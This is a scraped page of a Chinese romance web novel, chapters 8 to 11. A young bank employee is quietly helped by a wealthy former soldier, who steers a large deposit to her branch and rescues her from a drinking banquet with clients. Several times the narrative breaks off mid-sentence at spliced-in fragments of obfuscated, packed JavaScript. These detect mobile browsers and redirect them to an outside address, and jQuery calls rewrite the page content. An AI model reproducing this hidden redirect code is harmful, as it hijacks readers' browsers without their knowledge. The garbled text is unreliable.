l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525885|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得不低头啊。” “看得开。”于宥宁扯了扯嘴角:“但被批评了,总归心里不舒服。” “三年一轮换,快了快了,她今年任职期就到了,希望来个开明一点的领导吧。” 于宥宁瞥一眼楼梯后头:“你小点儿声。” 陈娟压低声音,语气却更硬:“就她分的那点儿绩效,我都不怕被她听到。”反正都是基层员工,在这任手底下也没什么转岗或升职的机会。 中午,于宥宁没去会议室吃饭,不想听领导继续聊工作,不想听那些明褒暗贬的话,也不想挤在那张堆满饭盒的桌上赔笑脸。 她去了便利店,依旧拿的咖喱饭,喜好很固定。 到店的时候是十二点四十,已经过了用餐高峰期,吧台上放着两个吃剩的盒饭,碗筷仍的乱七八糟,她抽出一张纸巾,捏着碗边扔进垃圾桶,又把桌面擦了擦。 “美女,你的饭好咯。” 听到声音,她转身去收银台取盒饭。 “欢迎光临。” 门口的机械铃声响起,一双黑色皮鞋迈进便利店。 她下意识抬头,是林骁。 两个人互相点点头,算是打过招呼,她从工作带来的那点小小的不如意里抽离出来,短暂地看了一眼他的皮鞋:今天也是沾了灰的,依旧西服套装,不过衬衫换成了高领毛衣,手里拎着一个塑料袋,有点违和。 她坐回吧台吃饭。 没两分钟,林骁端着饭过来,塑料袋放到吧台上,她余光扫了一眼,里头是两盒草莓,又红又大,看着就汁水饱满。 他推了推:“同事给的。” 她愣了一下:“?” “我不吃这个。”他语气轻松:“帮我消灭了吧。”说完掀开自己的饭盒,也是咖喱饭。 于宥宁盯着那两盒草莓,迟疑了一秒,拆开一盒:“那我就不客气了。” 看她拆开就吃,林骁愣了一下:“不洗洗吗?”早知道该给她洗干净的。 “这么干净~”她捏起一颗递过去:“好甜呀,你尝尝?” 他摇头:“不了。”拧开手边的乌龙茶喝了一口。 于宥宁瞥了一眼,还是无糖的那种。 她没再说话,一颗一颗吃着草莓,饭却没吃几口。 林骁一开始还以为是她爱吃草莓,就不乐意吃饭了,可她没吃几颗就停了手,擦了擦指尖,撑着下巴望向对面的公园。 吧台上方的灯光打在她侧脸,睫毛投下一小片阴影,林骁看了她一眼,又收回视线。 平时碰见,她虽然不至于多热情,但眼里总带着点笑意,今天那笑意淡淡的,不达眼底,是工作不顺心吗? “你们单位有食堂吗?”他选了个安全话题。 “嗯?”她回神:“有从餐厅订餐,不过今天不想吃。” “味道不好?” “那倒不是。”她没多说。 林骁没再追问,但心里有了点数。 他又瞥了她一眼。 她撑着下巴,目光落在窗外,不知道在想什么,便利店的白炽灯照得她皮肤莹润又透亮,侧脸轮廓柔和,却带着点说不清的疲倦。 她性格这么好,应该不至于和同事不愉快,林骁想,他收回视线,低头扒了一口饭,咖喱已经有点凉了,是工作压力太大了? 他突然觉得自己对她的了解和关心还是太少。 8. 第 8 章 磐石营造毕竟是榆阳数一数二的大企业,林骁接手后跟着父亲走动应酬,也结识了不少人脉,其中就包括银行业的前辈,他托这位前辈帮忙打听了一下于宥宁的情况。 话递得委婉:“有个家里的小朋友在榆阳商行工作,也不知道干得怎么样,您要是方便,帮我照看两眼。” 一顿饭吃完,第二天人家就回了电话。 先是把于宥宁夸了一通:业务熟、态度好、网点上上下下都认可。夸完了,话锋一转,落到实处:“这么优秀的人才,放那么家小网点也是屈才了,她们那个网点位置偏,数据也不好看,基层员工再能干,也得跟对领导才有奔头,回头有机会,给她调个地方吧。” 话说得够直白了:业绩压力大,领导不给力,小姑娘在那边熬得辛苦。 林骁听完,没多说什么,只道了谢。 挂了电话,他靠在椅背上,果然,不论哪行哪业,基层都难免辛苦。 第二天,林骁把财务总叫过来。 “安排一下,把江湾公园项目的账户开到旁边的榆阳商行。” 财务总一愣:“林总,咱们项目的账户开在建行,公司的账户也一直走的建行,这……” “这个项目的挪过去。” “?”财务总满脑子问号,但没再多问,领导有领导的考虑,又不是什么大事,他执行就是了,转头就把活儿安排给了负责这个项目的会计赵大姐,一个干了二十年的老会计,出了名的爱打听、爱念叨。 赵大姐追着财务总问了一路:“林总咋想的呀?咱这项目账户用得好好的,非要挪走,是跟榆阳商行有业务合作了?咱贷款可还在建行呢。” “领导有领导的考虑,你去办就是了。” “不是,现在开户多不容易啊,再说了,榆阳那种小银行,系统肯定没建行好用,网银又慢,对账又麻烦……” 财务总觑她一眼:“要不你亲自问问林总?” 知道这是点到为止了,赵大姐讪讪一笑:“这我哪儿敢啊……那,那我去了联系哪位经理呀?” “没有。” “没有?”赵大姐瞪大眼睛:“没客户经理?那就是没业务合作了?那挪过去干啥啊,整这么麻烦。” 财务总一记眼刀过去,赵大姐立刻噤声,但还是小声嘀咕:“明白了明白了,我尽快安排吧。” 她寻思着能拖几天算几天,保不齐这事儿拖着拖着就黄了,没成想下午林总的电话直接打到了她手机上。 赵大姐捧着手机,声音都恭敬了三分:“林总?” “赵会计,明天去榆阳商行开户的事,我交代一下。” “您说您说。” “去了找一个叫于宥宁的员工,就说项目离得近,觉得方便,所以想开户,钱会存过去,我跟财务总交代过,先转两千万,后续还有。”他顿了顿:“开户的事,不用告诉其他人,也不用告诉于宥宁,办好以后直接给我汇报就行。” 赵大姐连声应着,挂了电话捧着手机愣了半分钟,她越想越迷糊,但迷糊归迷糊,活儿得干,第二天一早,她收拾齐资料,开车去了榆阳商行。 见到于宥宁的那一刻,她就觉得自己至少猜到了五分,小姑娘长得白白净净,笑起来眼睛弯弯的,说话也温温柔柔。 “您好,请问办理什么业务?”于宥宁正在前台装订宣传单,看到她进来,起身招呼。 “小妹,我来开个对公账户。” “营业执照带了吗?我先看看,好帮您准备资料。” 赵大姐把文件袋放到柜台上:“我们公司接了个新项目,就在这边儿,我看这儿离得近,以后办业务也方便。” 于宥宁翻了翻资料:“新成立的公司呀……有带项目合同之类的吗?” “放心吧小妹,我们正经公司,项目书、发票都带上了。”赵大姐把材料往外掏:“对了,还得把代发工资一块儿开通,开卡你们得上门开啊。” “有代发呀?大概多少人呢?” “两百来个吧。” 于宥宁笔尖一顿:“这么多呢?项目开工了吗?” “开工了。”赵大姐想起林总的交代,不用让她知道,于是含糊带过:“你帮我把开户安排好就行,我们单位项目多,我经常跟银行打交道,知道你们一季度有任务,我这账户开好了,项目款立马就转进来,先转个两千万吧。” 于宥宁手上的动作慢了下来,先转两千万? 她面上不显,心里却警铃大作。 没在银行待过的人可能不知道,但凡大一点的公司,开户都是有客户经理带着来的,这种自然上门、开口就要转几千万的,不是吹牛,就是搞电信诈骗,想从银行弄一堆账户过账。 她把资料轻轻放下,语气放缓:“是这样的,开户呢,我们得先去公司上门核实,要不您留个电话,我约好时间再跟您沟通?” 赵大姐一看她那表情,就知道是把自己当骗子了,她二十年老会计了,跟多少银行打过交道,最清楚他们的政策。 她也不恼,掏出手机打开建行APP,插上对公网银,往于宥宁面前一递:“给你瞅瞅我们公司建行的账户,我们正规公司,不是外头那些乱七八糟的。” 于宥宁看了一眼屏幕,余额八位数,流水干干净净。 她又犹豫了,总不能骗子连建行APP都能造假吧? “那……这样,我明天就安排上门,行吗?” “这还差不多。”赵大姐收起手机:“小妹啊,我这钱进来,你今年任务就完成了吧。” 于宥宁被她说得有点不好意思:“姐姐您这么了解我们这行呢。” “我干二十年会计了,这还能不知道?”赵大姐把资料收进文件袋:“明天来啊,抓紧点,下周一就把账户给我开好,然后安排开工资卡,工地在旁边,到时候你们上门来办。” 于宥宁点点头,掏出手机:“好的,我加您个微信吧,您把地址发给我。” 两人加上微信,赵大姐拎着包往外走,走到门口又回头看了她一眼,小姑娘正低头备注她的名字,睫毛弯弯的,侧脸干净。 赵大姐越想越觉得这事有意思,她掏出手机,给林骁发了一条微信:【林总,安排好了,小于明天就来项目上拍照,这姑娘是真热心,人也乖得很,我想着把代发工资也放到他们银行,您觉得合适不?】 没一会儿,林骁就回复了一个:【OK】 赵大姐盯着那个“OK”看了三秒,心里那点疑惑算是彻底解开了,他们林总这是看上人家姑娘了吧? 可看上人家,帮人家完成任务,还不让人知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525886|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,这算啥章程? 她琢磨了半天,也没琢磨明白。 第二天,于宥宁约了陈娟一起去赵大姐发的地址,是项目的办公室,在旁边小区里租的一个两居室,就几个办公室的工作人员,其他人都去项目上了。 为了打消于宥宁的顾虑,赵大姐还带他们到市政工程去看了看,没去江湾公园,怕抢了林总的风头,要让人家姑娘知道,也该由他们林总亲自说。 事情办得顺利,于宥宁和陈娟都觉得运气好,回去的路上,陈娟感叹:“这种主动上门的大客户都能让你碰上,你这是什么命?” 于宥宁笑笑:“真转账过来,我也不独占,给大家都分点儿。” “这还差不多。” 周六,于宥宁照例去健身房,换好衣服出来,一抬眼,又碰上了林骁。 照旧是点头之交,她点一下头,他点一下头,算是打过招呼,她练她的,他练他的。 这次他倒是带了毛巾,没再脱衣服。 于宥宁收回视线,专心爬坡,落地窗正好倒映着背后的力量区。 她瞥了一眼镜子,又瞥了一眼。 林骁在做硬拉,那个重量,她目测了一下,起码一百公斤往上,就他这重量,不仅没有练成健身房里那种常见的粗脖子大膀子,反而每一寸肌肉都匀称又漂亮。 啧啧,她多看了一秒、两秒,然后猛地回过神来,发现自己正透过玻璃窗的倒影窥视人家,立刻就收回视线,戴上耳机,打开脱口秀,强迫自己盯着手机里的内容。 而镜子的另一边,林骁正透过落地窗的镜像看她。 她带着耳机不知道在看什么好笑的东西,嘴角弯了一下,又弯了一下,最后没忍住,低头笑出了声。 新的一周,林骁联系了老同学顾原,请他安排人把自己的车子送去保养,两个老同学难得见上一面。 “顾总亲自来了?”林骁下车,看着迎出来的顾原,笑着打趣。 “为林总服务,可不得亲自来?”顾原推了推鼻梁上的金丝边眼镜,语气难得带了点调侃。 “咱们这些高中同学,全都散到外头去了,留在榆阳的可不多,有时间一块儿出来聚聚。” “走吧,去我办公室聊聊。” 叶可欣到保养车间跟师傅交代了下,再出来的时候,顾原和林骁已经去了办公室。 她透过办公室的玻璃窗,看见两个人面对面坐着,不知道在聊什么,顾原那个冰块脸,竟然在笑,虽然笑得不多,但确实是笑了。 她忍不住掏出手机,给于宥宁发微信:【我的扑克牌老板,竟然跟他高中同学约了一场篮球,我从没见过他运动。】 于宥宁秒回:【你那位顾总,看着斯斯文文的,竟然会打球?你不得去看看?】 叶可欣回了一个掐脖子的表情包:【人家老同学见面,我去干嘛?又唱又跳啊?】 【哈哈哈哈。】 【对了,你碰上那个大客户,账户开好了?】 【开好了,两千万当天就进账了。】于宥宁发了一个捂嘴笑的表情:【代发工资也给我们了。】 【好事儿。】叶可欣回完,又抬头看了一眼办公室。 顾原和林骁正往外走,她起身:【不说了,他同学准备走了,我去安排人把他车开出来。】 9. 第 9 章 自从认识了于宥宁,赵大姐算是和林总也走得近了些。 每回去银行办完业务,她都会给林骁发条信息,汇报一下当天的情况,当然,重点都在于宥宁身上:今天小姑娘穿了件浅蓝色毛衣,挺好看;今天她好像有点累,精神不太好。 林骁虽然只回复一两个字,但从来没漏回过一条。 月底发工资,人事给她批了一笔奖金,备注是“江湾公园项目专项奖金”,数额不小,抵得上她一个月工资。 赵大姐看着工资条,心里算是彻底有数了。 而且这事儿吧,公司里她谁都没说,安安心心替林总把事情办着就行,不该问的不问,不该说的不说,干了几十年会计,这点分寸她还是有的。 这天,赵大姐去银行打对账单,进门之前,她特意拐去旁边便利店买了瓶酸奶,草莓味的,小姑娘喜欢的那种。 “小于啊,给你带了瓶酸奶。”她把酸奶放到前台。 于宥宁愣了一下:“赵姐,这不行,我们不能收客户东西的。” “哎呀,什么客户不客户的。”赵大姐摆摆手:“这是老姐姐给你带的,几块钱的事儿,拿着喝,我打回单去了啊。” “行吧……谢谢赵姐。”于宥宁笑了笑:“有需要叫我啊。” 赵大姐去大厅的自助机打印回单,于宥宁低头继续整理资料。 没两分钟,主管杨正从后面出来了。 “宥宁。”他压低声音:“李行长让你晚上跟她一起去见个客户。” 于宥宁手里的动作一顿:“?” 杨正:“这不是马上任务锁口了嘛,她说找了几个朋友帮忙冲一点,得吃个饭,感谢人家。” “哪些人去?” “她,副行长,赵经理,你。” 都是能喝酒的,她撇了撇嘴:“我晚上还有事儿呢,主管,你帮我推了吧。” “这我哪儿推得了。”杨正一脸为难:“你自己跟她说吧。” “那……”她想了想:“是只有一场,还是两场?” 杨正明白她的意思,要只有一场,吃个饭,她咬咬牙就去了,要是还有第二场,那估计得去KTV,还得喝。 “我估计有二场。”他实话实说:“她那几个客户,你还不知道?” “……”李行长组的局,她去过一回,一群中年男人喝高了勾肩搭背,说些有的没的,不适合她,况且她酒量本来就差:“我身体不太舒服,真去不了。” “宥宁,这事儿要不你自己跟她说吧。”杨正说完,回了自己办公室。 于宥宁深吸一口气,拿起手机,给李行长打了个电话。 结果人家根本不接招。 “宥宁啊,这是工作。”电话那头的声音四平八稳:“你一个大堂经理,跟着去应酬一下客户,不是应该的吗?年轻人,要多锻炼锻炼……” 一套一套的,全是正确的废话。 于宥宁挂了电话,无奈地叹了口气。 她掏出手机,给爸爸发了一条微信:【爸爸,晚上有个应酬,你来接我一下吧。】 发完,她把手机扣在桌上,盯着面前的宣传单发了一会儿呆。 赵大姐打印完回单,路过前台的时候跟于宥宁道了个别,小姑娘正低头整理资料,侧脸看起来闷闷的,嘴角往下耷拉着,跟平时那个笑眯眯的模样完全不一样。 赵大姐多看了两眼,又想起刚才听到的只言片语,立刻掏出手机,给林骁打了个电话。 “林总,我跟您说个事儿……”她把刚才听到的添油加醋说了一遍,末了还补了一句:“那行长一看就不是什么省油的灯,小姑娘去了肯定得吃亏。” 电话那头沉默了两秒。 “知道了。”林骁说完,挂了电话。 赵大姐收起手机,暗自点头,还好是让自己撞见了,不然小姑娘今晚指不定要被灌成什么样。她虽然只跟于宥宁打了这么几回交道,但看得出来,是个踏实孩子,没有那花花肠子。 依她看,他们林总十有八九是在追求人小姑娘,待会儿发个信息问问小于,关心两句,晚上再借口顺路去接送一下,那不是一下子就把好感拉起来了嘛? 赵大姐越想越觉得自己做得对! 要她说啊,小于活泼开朗,林总沉稳内敛;小于温柔善良,林总严肃周到,两个人外貌上也匹配,俊男靓女,实在配得很。她就做好她的助攻,既能成就一桩姻缘,以他们林总的大气,奖金也少不了,一举两得,何乐而不为? 她美滋滋地把手机揣进兜里,哼着小曲儿回家。 五点半,于宥宁跟着李行长一行人上了车,她坐在后排,看着窗外掠过的街景,心里说不出的烦躁,手机震了一下,是爸爸发来的:【地址发我,我提前过去。】 她回:【还没到呢,一会儿给你发。】 车子在一家餐厅门口停下,于宥宁抬头看了一眼招牌,本地挺有名的一家私房菜,门脸不大,里面别有洞天。 她跟着进了包厢,坐下,开始例行公事地倒茶、递名片、听那些半生不熟的客套话。 而餐厅门口,紧随他们抵达的林骁正坐在后排等待助理的回复。 他是特意赶过来的,就怕她硬着头皮去应酬,应付不来,会吃亏。 没几分钟,助理周鹏就发来了信息:【林总,他们在二楼的海棠厅。】 林骁回了个“嗯”,推门下车。 周鹏四十出头,跟着林骁的父亲干了十几年,算是公司的老人,办事稳妥,嘴严,眼力见儿也好,林骁接手后,他被留下来继续当总助。 “林总。”周鹏迎上去:“我悄悄去看了一眼,里头有一个认识的,做资金生意的,姓陈,以前跟老林总打过几次交道。” 林骁点点头:“你去门口等着,等会儿有人出来,就假装认出来了,说要引荐我认识。” 周鹏愣了一下:“这是……” 林骁没解释,只说:“在旁边再定个包厢,把晚饭吃了。” 周鹏没再多问:“明白。” 安排好一切,他去走廊里等着,可人家里头才刚刚吃上,哪儿那么快有人出来,他想了想,给服务员塞了点小费,让她把包厢给打开了。 周鹏在门口站定,清了清嗓子,喊了一声:“哎呀,陈总?在这儿碰上了!” 那位陈总认出他,满脸堆笑地起身迎出来:“周总!好久不见啊!老林总最近怎么样?身体还好吧?听说小林总已经上任了,还没来得及去公司拜访呢,周总要帮忙引荐一下呀!” “这不巧了嘛。”周鹏笑着往里看了一眼:“我们小林总今天也在这边见个朋友,正准备走,陈总这是有朋友在呢?要是不方便,那就改天……” “方便方便!”陈总一把拉住他:“这些啊,都是咱们榆阳的企业家,还有榆阳商行的领导也在,小林总要是方便,一起吃顿便饭!” 周鹏迟疑了一下:“这……” 话音未落,林骁就从楼梯口下来了。 周鹏立刻招手:“林总!我介绍一下,这位是陈总,跟老林总是老朋友了。” 陈总上下打量林骁一眼,眼睛一亮:“哎呀,这位就是小林总啊!真是一表人才!完全继承了老林总的风范啊!” “陈总,幸会。”林骁伸出手,淡淡握了一下。 “林总还没吃晚饭吧?”陈总热情地往里让:“来得早不如来得巧,一块儿吧!我给林总介绍一下,这都是咱们榆阳的企业家。” 林骁的视线越过陈总的肩膀,往包厢里扫了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525887|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 大圆桌,坐了八个人,于宥宁坐在传菜位,脸色微微泛红,面前的酒杯里,是白的。 林骁收回视线,面上不动声色,心里却沉了一下:“那就叨扰了。” 包厢里添了两把椅子。 陈总先挨个介绍那几位生意伙伴:做建材的,搞物流的,还有一位是某个项目的承包商,介绍完了,才轮到李行长这一行人。 “这位是榆阳商行的李行长。”陈总笑着引荐。 李行长立刻站起来,双手递上名片:“林总,久仰久仰,磐石营造可是咱们榆阳的大企业,以后多关照。” 林骁接过名片,点了点头。 李行长又接着介绍:“这是我们支行的陈行长,赵经理,于经理。” 林骁的目光落在于宥宁脸上。 她也在看他,眼睛里有一点意外。 “宁宁我认识。”他说。 李行长有些意外:“哦?认识?” “我们两家是至交。”林骁语气自然,像在说一件再平常不过的事。 于宥宁笑了笑,没说话,从看到林骁那一刻起,她心里就莫名的多出了些安全感。 李行长反应快,立刻站起来张罗:“哎呀,那可得换位置!宥宁,来来来,你坐林总旁边去,方便说话。” 饭桌上从生意聊到政策,从政策聊到八卦,最后,进入固定环节:互相敬酒。 因为有林骁在,他反倒成了这桌的主客,那个陈总端着杯子过来,一口一个“小林总”,恨不得把十年没说的话一次性补上。 于宥宁酒量本来就差,几杯白酒下肚,脑袋已经开始发晕,她悄悄站起来,打算充当服务员的角色,帮领导们倒倒酒,自己也能少喝两杯。 刚拿起酒瓶,手腕被人按住了。 “喝饮料就行。”林骁接过她手里的酒瓶,放到一边,然后示意周鹏:“周哥,给宁宁点杯饮料。” 周鹏招呼服务员:“加杯饮料。” 这下包厢里的气氛就正常多了,大家客客气气喝了两轮也就结束了。 李行长看了看时间,开始张罗第二场:“陈总,我在KTV订了包间,一会儿咱们接着聊?” “好啊!”陈总眼睛一亮,看向林骁:“林总,一块儿去吧?” 林骁摇了摇头:“明天还有个早会,就不陪各位了。”说罢,侧头看向于宥宁:“宁宁,我送你回去吧。” 于宥宁立刻会意:“那李行长,我就先走了,你们玩得开心。”她连客套都没多客套两句,拎起包就跟着林骁出了门。 身后,李行长的目光在他们俩身上转了一圈,没说话。 出了餐厅,夜风一吹,于宥宁才觉得自己活过来了,她长长呼出一口气,转头看林骁:“你真是我的福星呀。” “怎么说?” “托你的福,没有喝醉,也不用去第二场了。” 林骁勾了勾唇角:“那你该谢周特助,要不是他认出陈总,咱们今晚还坐不到一张桌子上。” 于宥宁冲周鹏点了点头:“谢谢周哥。” 周鹏多有眼力见儿啊:“于小姐客气了,是您跟我们林总有缘分。”说罢拿出了车钥匙:“林总,代驾到了。” “林骁,要不你跟我……”她本来想说,要不让你跟我一起坐爸爸的车回家,可转念一想,见了面怎么解释?爸爸是见过林骁照片的,这不得误会? “嗯?” “没什么。” 上了车,她掏出手机,给爸爸发微信:【爸,结束了,没去第二场,我碰上朋友了,她送我回家,你直接回吧,咱们一会儿家里见。】 【朋友?靠谱吗?】 【嗯呢,已经在回家路上了。】 【好的。】 10. 第 10 章 车子在夜色中穿行,林骁坐副驾,于宥宁坐后排,气氛安静得有点尴尬。 白酒的后劲儿上来后,她脑袋又开始发晕,不敢玩手机,怕更晕,索性靠在座椅上闭目养神。 今晚碰上他,真是好运。 见到他的那一刻,她是真挺意外,也挺惊喜,不知道为什么,一见他就觉得有了安全感。 或许是因为林屿吗? 因为他是林屿的小叔?又长的这么像? 座椅真舒服。 她迷迷糊糊地想,也不知道这车是什么牌子。 榆阳不大,夜里车少,开得更快,十来分钟就到了小区门口。 于成军背着手在大门边儿上徘徊,女儿说快到了,可他发了两条信息都没回,打电话也没接,心里惦记,干脆下楼等着。 “老于,散步呢?” “接女儿。”于成军跟老邻居打了个招呼,话音刚落,一辆黑色轿车从面前驶过,拐进了小区大门。 于成军瞥了一眼:奥迪A8。他心想,这老小区,还有人开这车呢? 小区里的地上车位早就被占满了,代驾转了两圈,才在路边找到一个侧方位,位置偏,但好歹能停。 车停稳,林骁回头看了一眼。 后座上,于宥宁歪着头靠在座椅上,呼吸均匀,睡得正熟。 他没喊她,推开车门,站到路边,从口袋里摸出烟盒,抽了一支点上。 夜风有点凉,他把外套拢了拢,靠在车门上,慢慢抽着。 旁边有几个小孩儿跑过去,嬉嬉闹闹的,笑声清脆,林骁看着他们跑远,又回头看了一眼车,她还睡着。 烟抽到一半,他忽然笑了一下,自己今天这出,演得还挺全,他对着夜色吐出一口烟。 那几个小孩儿又跑回来了,追着闹着,一个皮球砸到花坛上,“咚”的一声,林骁蹙了蹙眉头。 于宥宁醒了。 她迷迷糊糊睁开眼,看见自己还在车里,愣了一下,然后推开车门:“不好意思啊,我睡着了。” 夜色中,林骁站在车门边,双手揣在裤兜里,身影挺括。 今天依旧是西装,不过款式和上次不太一样:外套敞开着,里头是一件深灰色的马甲,掐出腰线的弧度,马甲里头是白色的衬衫,领口扣得规整,但没有打领带,多了几分随意。 西装裤笔挺,皮鞋锃亮,但鞋面上沾了点灰,大概是今天又跑工地了。 于宥宁的目光在他身上停了一秒,两秒。西装马甲这东西,穿不好容易显老气,但穿在他身上……她想起那天在健身房看见的倒影。 肩宽,腰窄,背阔肌流畅地收进腰线,那件马甲掐出来的弧度,底下藏着的,是她见过的那些线条。 她忽然觉得脸上有点热,不过应该是白酒的后劲儿。 注意到她的目光,林骁几不可查地勾了下唇角,但很快就恢复了那副淡淡的表情:“在看什么?” “啊……哦……”于宥宁慌忙移开视线,假装看天:“今年暖得挺早哈,都不怎么冷。” 她其实是想说:你好像一直都穿得挺少,不冷吗? “是。”林骁锁了车门:“不过春捂秋冻,还是得穿厚点儿。” “我看你就穿得挺薄。”她顺嘴说了一句。 林骁轻笑一声:“衬衫里头穿了保暖内衣。” 于宥宁仰头看他,眨巴眨巴眼,又快速移开视线。 这话……不太好接。 那就不接了。 两个人沿着小花园往家走,路灯昏黄,把影子拉得老长。 还没到单元门口,于宥宁的妈妈谢芳就认出了她。 “宁宁!” 谢芳远远喊了一声,然后掏出手机给于成军打电话:“叫你去接人,你又抽烟去了吧?你女儿已经到家门口了。”她语气里带着点埋怨,挂了电话,朝女儿走过去。 于宥宁脑子里警铃大作。 她快步上前,一把挽住妈妈的手臂,企图在妈妈看到林骁之前把人先拐回家,免得一会儿不好解释。 “阿姨好。” 身后传来一道男声,礼貌、从容。 于宥宁闭上眼睛,在心里叹了口气……他真是……很讲礼貌呢。 谢芳被女儿挽着手臂往前走了两步,听见这声招呼,下意识回头。 路灯下站着一个年轻男人,身量很高,肩宽腿长,西装配马甲,站在那儿跟海报似的,谢芳愣了一下。 第一反应:好帅的小伙子。 第二反应:难道是女儿的男朋友? 心里大喜,她一下子挣脱开于宥宁的手臂,停下脚步,认认真真把人从上到下打量了一遍。 “诶,你好你好,宁宁,这位是?” 于宥宁只觉得头皮发麻,她瞥了一眼林骁,心里苦笑:“妈,这是……” 还不等她说完,谢芳就想起来了,毕竟长成这样的小伙子可不多见:“这不是……小林吗?” “是我,阿姨。”林骁微微欠身:“我叫林骁。” 谢芳立刻回头,意味深长地瞥了女儿一眼。 于宥宁心虚地移开视线。 她倒不是觉得和相亲对象被爸妈撞见一起回来有什么,毕竟人家就住楼下,碰上也正常,她是担心另一件事,爸妈来学校接她的时候,见过林屿,林屿和林骁,长得有七分像,这要是认出来了,多少有些尴尬。 “你们这是……”谢芳又看了女儿一眼,眼神里带着探究。 于宥宁眨眨眼,正在组织语言。 林骁先开口了:“阿姨,我正好碰上宁宁,就一块儿回来了。” “回来?”谢芳没听明白:“回哪儿?” “我搬到402了。” 林骁和于宥宁对视一眼,看她一副“完了完了”的表情,他眼底掠过一丝笑意,继续解释:“我工作就在旁边的兴业商厦,但我家住江映溪谷,通勤时间太长,李叔说他这边房子空着,就借给我住了。” “哦,这样啊。”谢芳恍然大悟,然后嗔怪地看了女儿一眼:“宁宁你也不说一声,这楼上楼下的邻居,该请小林到家里吃个饭的。” 于宥宁在心里默默翻了个白眼,妈,您这态度转得也太快了。 谢芳当然快,相亲前她就对林骁满意:家庭条件好,当过兵,长得精神。相亲没成,她还遗憾了好几天。现在人搬到楼下来了,楼上楼下住着,这不就是近水楼台吗? “是我失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525888|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼了。”林骁语气诚恳:“该早点去拜访叔叔阿姨的。” 于宥宁瞥他一眼,他倒是一点不心虚。 三个人进了单元门,谢芳和林骁并排走在前面,于宥宁反倒成了跟在后面的那个。 她听着前面两个人互相寒暄。 “你们年轻人工作忙,一日三餐都在外头吃吧?”谢芳问。 “我平常都自己做饭。” “噢哟,现在会做饭的孩子可不多了。”谢芳语气里带着惊喜:“我们家宁宁,厨房门都没怎么进过。” “女孩子,少闻油烟味也好。” 于宥宁在后面听着,心想:这人是真会说话。 “平常工作忙吧?”谢芳又问:“从部队转业回来还适应吗?” “是花了些时间学习。”林骁答得认真:“我正自学呢,准备再考个研究生,提升一下。” “哎哟,有上进心呀。”谢芳的语气更满意了。 于宥宁在后面跟着,从一楼到四楼,给她走出了从一楼到十楼的错觉。 终于到了402,于宥宁立刻开口:“那你早点休息,我们上去了。” 谢芳显然还没聊尽兴,回头瞥了女儿一眼。 于宥宁装作没看见,又瞥了林骁一眼。 林骁便客客气气地道别:“阿姨再见,叔叔那边,麻烦您替我带个好。” “好好好,一定一定。”谢芳笑着应声:“有空上来吃饭啊。” 于宥宁终于松了口气。 谢芳一边往上走,一边悄声说:“这小伙子,真不错。” 而402的门后,林骁靠在门上,嘴角的笑意终于压不住了。 他打开冰箱,取出蜂蜜,冲了一杯温热的蜂蜜水,微甜的温度顺着喉咙滑下去,酒劲儿褪去大半。 阳台上,哑铃、弹力带、壶铃安静地立在角落,他换上一件宽松的运动服,开始了每天雷打不动的半小时。 月光从窗外漫进来,半轮弯月悬在夜空,柔和得不像话。 手上的动作没停,思绪却飘远了,飘回云南边境那些夜晚,也是这样的月光。 只不过那时候,月光照着的是望不到边的丛林,是湿透的作战服,是趴在草丛里一动不能动的几个小时,蛇从手边爬过去,蚂蚁钻进衣领,蚊虫在耳边嗡鸣,他们只能忍着,连呼吸都要压到最低,厚重的伪装服闷出一身汗,汗又浸透衣服,黏腻地贴在皮肤上。 他记得那种心跳,对面山头上,毒贩的剪影出现时,心脏像被一只无形的手攥住,收紧、再收紧,然后猛地炸开,肾上腺素冲进四肢百骸,所有感官瞬间锐化。 那是生死一线的紧张。 而现在,他想起今天酒局上,她坐在他旁边,低低说了一句“别喝太多”,想起她盯着他看的时候,眼睛亮亮的,又飞快移开,想起她在车里睡着的样子,歪着头,呼吸均匀。 那种心跳又来了,像被攥紧,像要炸开,但又不一样。 那时候的心跳,是为了活着,现在的心跳…… 他停下动作,看着窗外的月光,现在的心跳,是为了别的什么。 哑铃放回原位,他擦了擦汗,转身进屋。 月光跟着他,一路铺到床边。 11. 第 11 章 周六一大早于宥宁跟着妈妈去超市买菜,母女俩都爱逛超市,这种把冰箱填满的那种踏实感,让人满足又安心。 一进超市,于宥宁就直奔熟食区,上次买到的那个盐焗鸡味道实在太好,就连她这种不爱吃鸡肉的人,都忍不住多夹了两筷子。 